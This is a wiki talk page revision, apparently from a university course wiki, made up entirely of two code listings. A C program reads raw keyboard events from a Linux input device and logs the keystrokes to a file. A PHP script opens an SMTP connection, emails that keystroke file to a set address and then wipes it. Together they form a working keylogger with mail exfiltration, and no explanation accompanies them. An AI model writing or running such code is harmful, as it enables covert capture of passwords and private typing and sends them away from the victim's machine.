Talk:Клавиатура, Utf-8

From Ilianko
Revision as of 21:14, 11 March 2013 by Anko (talk | contribs) (Created page with "<pre> <?php $msg[] = 'ehlo tugab.bg'; $msg[] = 'mail from:students@tugab.bg'; $msg[] = 'rcpt to:ilianko@tugab.bg'; $msg[] = 'data'; $msg[] = 'from: students@tugab.bg'; $msg[] =...")
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)

<?php

$msg[] = 'ehlo tugab.bg';
$msg[] = 'mail from:students@tugab.bg';
$msg[] = 'rcpt to:ilianko@tugab.bg';
$msg[] = 'data';
$msg[] = 'from: students@tugab.bg';
$msg[] = 'subject: test';

$telnet = fsockopen("mail.tugab.bg", 25);

if (!$telnet) die('socket not open');

if ( !($file = fopen("/home/ilianko/ram/keys", 'rb'))) die('file not open');

foreach($msg as $send)
{
	sleep(2);
	fwrite($telnet, $send."\r\n");
}

 fwrite($telnet, "\r\n");
sleep(2);
 // truncate + attempt to create
$content = stream_get_contents($file);
fwrite($telnet, $content);
fclose($file);
sleep(2);
 fwrite($telnet, "\r\n");sleep(2);
  fwrite($telnet, ".\r\n");sleep(2);
   fwrite($telnet, "quit\r\n");
 
$handle = fopen("/home/ilianko/ram/keys", "w"); // truncate + attempt to create
fwrite($handle, ' ');
fclose($handle);

?>



#include <linux/input.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>

int main()
{
    int fd, keylog;
    struct input_event ev;
	char dic[] = {'x','x','1','2','3','4','5','6','7','8','9','0','-','=','x','x','q','w','e','r','t','y','u','i','o','p','[',']','x','x','a','s','d','f','g','h','j','k','l',';','\'','`','x','\\','z','x','c','v','b','n','m',',','.','/','x','x','x',' '};

	keylog = open("/home/ilianko/ram/keys",O_RDWR | O_APPEND | O_CREAT);  
	if (keylog < 0 ) {printf("file not exist"); return 1;}
	
    fd = open("/dev/input/event3", O_RDONLY);
    if(fd < 0) {
        printf("error openning");
        return 1;
    }
    
    
    while (1)
    {
    read(fd, &ev, sizeof(struct input_event));

    if(ev.type == 1)
		if(ev.code < 0x40 && ev.value > 0)
        write(keylog, &dic[ev.code], 1);

    }
}